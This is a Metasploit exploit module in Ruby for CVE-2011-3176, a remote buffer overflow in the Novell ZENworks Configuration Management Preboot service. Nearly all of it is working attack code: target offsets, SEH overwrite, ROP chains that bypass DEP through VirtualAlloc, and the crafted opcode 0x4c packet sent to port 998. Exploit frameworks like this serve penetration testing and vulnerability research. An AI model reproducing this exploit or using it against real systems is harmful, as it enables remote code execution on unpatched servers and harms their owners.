Novell ZENworks Configuration Management Preboot Service 0x4c Buffer Overflow

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::Tcp  
include Msf::Exploit::Remote::Seh  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Novell ZENworks Configuration Management Preboot Service 0x4c Buffer Overflow',  
'Description' => %q{  
This module exploits a remote buffer overflow in the ZENworks Configuration  
Management. The vulnerability exists in the Preboot service and can be triggered  
by sending a specially crafted packet with the opcode 0x4c  
(PROXY_CMD_PREBOOT_TASK_INFO2) to port 998/TCP. The module has been successfully  
tested on Novell ZENworks Configuration Management 10 SP2 / SP3 and Windows Server  
2003 SP2 (DEP bypass).  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Luigi Auriemma', # Vulnerability Discovery  
'juan' # Metasploit module  
],  
'References' =>  
[  
[ 'CVE', '2011-3176' ],  
[ 'OSVDB', '80231' ],  
[ 'BID', '52659' ],  
[ 'URL', 'http://www.verisigninc.com/en_US/products-and-services/network-intelligence-availability/idefense/public-vulnerability-reports/articles/index.xhtml?id=974' ],  
[ 'URL', 'http://support.novell.com/docs/Readmes/InfoDocument/patchbuilder/readme_5127930.html' ]  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process'  
},  
'Payload' =>  
{  
'BadChars' => "\x00",  
'Space'=> 994,  
'DisableNops' => true,  
'PrependEncoder' => "\x81\xC4\x54\xF2\xFF\xFF" # add esp, -3500  
},  
'Platform' => ['win'],  
'Targets' =>  
[  
[ 'Novell ZENworks Configuration Management 10 SP3 / Windows 2003 SP2',  
{  
'Offset' => 1100,  
'OffsetBottomStack' => 1148,  
'OffsetRop' => 4,  
'Ret' => 0x100012e9 # add esp, 1204 # ret from zenimgweb.dll  
}  
],  
[ 'Novell ZENworks Configuration Management 10 SP2 / Windows 2003 SP2',  
{  
'Offset' => 1100,  
'OffsetBottomStack' => 1136,  
'Ret' => 0x100012e9 # add esp, 0x41c # ret - zenimgweb.dll  
}  
]  
],  
'Privileged' => false,  
'DisclosureDate' => 'Feb 22 2012',  
'DefaultTarget' => 0))  
  
register_options([Opt::RPORT(998)], self.class)  
end  
  
def junk(n=4)  
return rand_text_alpha(n).unpack("V").first  
end  
  
def nop  
return make_nops(4).unpack("L")[0].to_i  
end  
  
# rop chain generated with mona.py  
def create_rop_chain()  
  
  
if target.name =~ /Novell ZENworks Configuration Management 10 SP3/  
rop_gadgets =  
[  
0x100066b1, # POP EDX # MOV ESI,C4830005 # ADD AL,3B # RETN [zenimgweb.dll]  
0x00001000, # 0x00001000-> edx  
0x100239df, # POP ECX # RETN [zenimgweb.dll]  
0x1007d158, # ptr to &VirtualAlloc() [IAT zenimgweb.dll]  
0x10018653, # MOV EAX,DWORD PTR DS:[ECX] # ADD ESP,20 # RETN [zenimgweb.dll]  
junk, # Filler (compensate)  
junk, # Filler (compensate)  
junk, # Filler (compensate)  
junk, # Filler (compensate)  
junk, # Filler (compensate)  
junk, # Filler (compensate)  
junk, # Filler (compensate)  
junk, # Filler (compensate)  
0x1002a38f, # PUSH EAX # POP ESI # RETN [zenimgweb.dll]  
0x00423ddd, # POP EBP # RETN [novell-pbserv.exe]  
0x10007b22, # & push esp # ret [zenimgweb.dll]  
0x100235dc, # POP EBX # RETN [zenimgweb.dll]  
0x00000001, # 0x00000001-> ebx  
0x0041961a, # POP ECX # RETN [novell-pbserv.exe]  
0x00000040, # 0x00000040-> ecx  
0x1004702b, # POP EDI # RETN [zenimgweb.dll]  
0x1001d001, # RETN (ROP NOP) [zenimgweb.dll]  
0x10011217, # POP EAX # RETN [zenimgweb.dll]  
nop,  
0x10018ec8, # PUSHAD # RETN [zenimgweb.dll]  
].pack("V*")  
else # Novell ZENworks Configuration Management 10 SP2  
rop_gadgets =  
[  
0x100065d1, # POP EDX # MOV ESI,C4830005 # ADD AL,3B # RETN [zenimgweb.dll]  
0x00001000, # 0x00001000-> edx  
0x10062113, # POP ECX # RETN [zenimgweb.dll]  
0x1007d158, # ptr to &VirtualAlloc() [IAT zenimgweb.dll]  
0x10018553, # MOV EAX,DWORD PTR DS:[ECX] # ADD ESP,20 # RETN [zenimgweb.dll]  
junk, # Filler (compensate)  
junk, # Filler (compensate)  
junk, # Filler (compensate)  
junk, # Filler (compensate)  
junk, # Filler (compensate)  
junk, # Filler (compensate)  
junk, # Filler (compensate)  
junk, # Filler (compensate)  
0x10016818, # PUSH EAX # POP ESI # RETN [zenimgweb.dll]  
0x1002fd05, # POP EBP # RETN [zenimgweb.dll]  
0x10043053, # & push esp # ret [zenimgweb.dll]  
0x1003cbf8, # POP EBX # RETN [zenimgweb.dll]  
0x00000001, # 0x00000001-> ebx  
0x00423eeb, # POP ECX # RETN [novell-pbserv.exe]  
0x00000040, # 0x00000040-> ecx  
0x1003173e, # POP EDI # RETN [zenimgweb.dll]  
0x10020801, # RETN (ROP NOP) [zenimgweb.dll]  
0x00406b58, # POP EAX # RETN [novell-pbserv.exe]  
nop,  
0x1006d1e6, # PUSHAD # RETN [zenimgweb.dll]  
].pack("V*")  
end  
  
return rop_gadgets  
end  
  
def exploit  
connect  
  
buf = "A" * 4  
buf2 = "B" * 4  
buf3 = "C" * 4  
  
buf4 = create_rop_chain  
buf4 << payload.encoded  
buf4 << "D" * (target['Offset'] - buf4.length)  
buf4 << generate_seh_record(target.ret)  
buf4 << "F" * (target['OffsetBottomStack'] - buf4.length)  
  
my_buf = ""  
buf4.unpack("C*").each {|b|  
my_buf << [b].pack("C")  
my_buf << rand_text(1)  
}  
  
packet = [0x4c].pack("N") # Opcode 0x4C  
packet << [buf.length].pack("N") # Length  
packet << buf # Value  
packet << [buf2.length].pack("N") # Length  
packet << buf2 # Value  
packet << [buf3.length].pack("N") # Length  
packet << buf3 # Value  
packet << [my_buf.length].pack("N") # Length  
packet << my_buf # Value  
  
sock.put(packet)  
  
disconnect  
end  
end  
`